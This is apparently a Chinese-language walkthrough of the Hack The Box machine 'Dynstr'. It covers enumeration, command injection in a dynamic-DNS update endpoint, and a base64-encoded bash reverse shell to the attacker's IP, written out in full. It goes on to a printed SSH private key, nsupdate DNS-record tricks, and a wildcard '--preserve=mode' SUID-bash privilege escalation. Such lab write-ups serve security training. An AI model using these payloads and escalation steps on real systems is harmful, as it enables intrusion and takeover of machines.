Hackthebox - Dynstr

靶场信息

靶场类型

信息搜集

首先使用nmap进行端口扫描

我们可以看到,开启了22 53 80三个端口,让我们访问80端口看看

访问后,我们找到了三个域名,老规矩,添加进hosts

echo "10.10.10.244 dnsalias.htb dynamicdns.htb no-ip.htb dyna.htb dynstr.htb" >> /etc/hosts

我访问了一下这几个域名,并没有什么东西,那咱们做个信息搜集吧

就拿最短的dyna.htb入手吧

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://dyna.htb" -H "HOST: FUZZ.dyna.htb"

咱们需要过滤掉10909个字符 加上–hh 10909

啊这,结果啥都没找到,那只能去看看有没有啥公开漏洞了呀

ISC BIND 9.16.1搜索这个的漏洞

找到一个缓冲区溢出,但是却没有利用的exploit,这就很难受了呀。没办法,继续返回做信息搜集吧

咱们爆破一下目录吧

gobuster dir -u "http://dyna.htb" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

发现两个目录 /assets这个目录无法访问 /nic这个目录显示空白

咱们需要进一步fuzz

得到一个badauth,再加上在主页找到的凭证

Username: dynadns
Password: sndanyd

咱们使用curl的-u功能进行访问

curl -u dynadns:sndanyd http://dyna.htb/nic/update

得到了一个线索,nochg,咱们去Google一下这是啥东西

https://www.noip.com/integrate/response

https://help.dyn.com/remote-access-api/return-codes/

这导致no-ip dynamic dns看到相应代码

我们可以看到nochg告诉我们还没有提供要更新的主机名,所以让我们深入了解如何更新dns记录

https://www.noip.com/integrate/request

所以我们可以更新dns记录,但是它需要有效

咱们先使用burp拦截一个请求

漏洞利用

访问http://dyna.htb/nic/update?hostname=dyna.htb&myip=10.10.14.197

然后在请求暴力添加一个标头Authorization: Basic ZHluYWRuczpzbmRhbnlk

这个标头的base64里包含了账号密码

但是不知道为什么一直报错

经过多次尝试后,要随便加一个并不存在的子域名

成了

尝试了一下命令执行,提示报错,但可以确定是存在该漏洞的

https://github.com/LucifielHack/command-injection-payload-list

这是命令执行的表,大伙儿可以自个儿去fuzz一下

$(echo+id+|bash)”这是我测试出来的命令执行格式

现在咱们要反弹一个shell回去

首先本地监听一个端口

nc -nvlp 999

然后构造反弹的命令

/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.197/999 0>&1'

由于直接放到burp里去执行很麻烦,所以咱们先给他转为base64

L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5Ny85OTkgMD4mMSc=然后使用管道功能进行解码,然后再通过管道传回bash

/nic/update?hostname=\$(echo+L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5Ny85OTkgMD4mMSc=+|+base64+-d+|+bash)"arz.no-ip.htb&myip=10.10.14.197

成功弹回shell

使用python3获得一个较为稳定的shell

咱们查看了一下passwd文件,发现了有一个bindmgr用户,同时在/home目录下也有他的文件夹

咱们进去查看一下

咱们似乎发现了一些有趣的东西

我们查看一下C62796521-debugging.script

查看的同时会发现内容有点多,容易造成乱码。大家看仔细点,反正我是看的脑瓜子疼

复制出来后,经过处理保存到本地,成功获得了一个ssh的密钥,咱们去登录试试

但是这还是需要密码,这指定是不对啊,咱们再去看看

咱们查看了一下update的源代码,可以看到nsupdate与密钥一起使用/etc/bind/ddns.key

所以这里要使用不同的密钥,咱们进入/etc/bind

咱们需要讲infra.key添加到DNS记录

nsupdate -v -k /etc/bind/infra.key
update add arz.infra.dyna.htb 86400 a 10.10.14.197
send
show

这时候如果我们运行nslookup,我们会得到一个回复,这意味着这个记录已经被添加进去了

但是我们仍然无法通过 ssh 登录,因为 dns 的使用已启用,因为 ssh 会进行反向 dns 查找过程,因此域名正在解析为 IP,但 IP 地址不会解析为域名,因此我们需要添加PTR记录为此目的

咱们去添加一个A记录

nsupdate -k /etc/bind/infra.key
update add anything.infra.dyna.htb 86400 A 10.10.14.197

此行为空格 下一行的IP为D.C.B.A格式,也就是把我们的IP反过来

update add 197.14.10.10.in-addr.arpa. 300 PTR anything.infra.dyna.htb
send

输入

echo "-----BEGIN OPENSSH PRIVATE KEY-----\\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\\n-----END OPENSSH PRIVATE KEY-----\\n" > id\_rsa

即可获得我们的密钥,通过上面的方式咱们自己获得也可以

这里添加A记录以后,咱们去尝试ssh登录

成功拿到bindmgr账户权限

成功获得user权限flag

权限提升

咱们使用sudo -l查看一下sudo权限

发现可以执行bindmgr.sh文件,咱们先去看一下

这里咱们检查一下.version文件兵使用通配符*复制所有内容

find / -name ".version" 2>/dev/null

我们可以看到,.version在/etc/文件夹中,所有这个文件会在哪里运行

这里我们要做的事创建.version文件并添加42到它里面

echo 42 > .version

首先我们复制/bin/bash到当前目录并使其成为SUID二进制文件

cp /bin/bash .
chmod +s bash
ls -la

下面图片错了,请见谅

我们创建一个名为–preserve=mode的文件来利用它,同时复制它会保留这个目录中文件的属性,就像bash有SUID所以它会保留那些属性并将其复制到/etc/bind/named.bindmgr为root权限

echo > --preserve=mode
ls -la

现在只需要运行sudo脚本

sudo /usr/local/bin/bindmgr.sh

执行./bash -p即可提权

cd /etc/bind/named.bindmgr
./bash -p

成功拿到root权限的flag

收工睡觉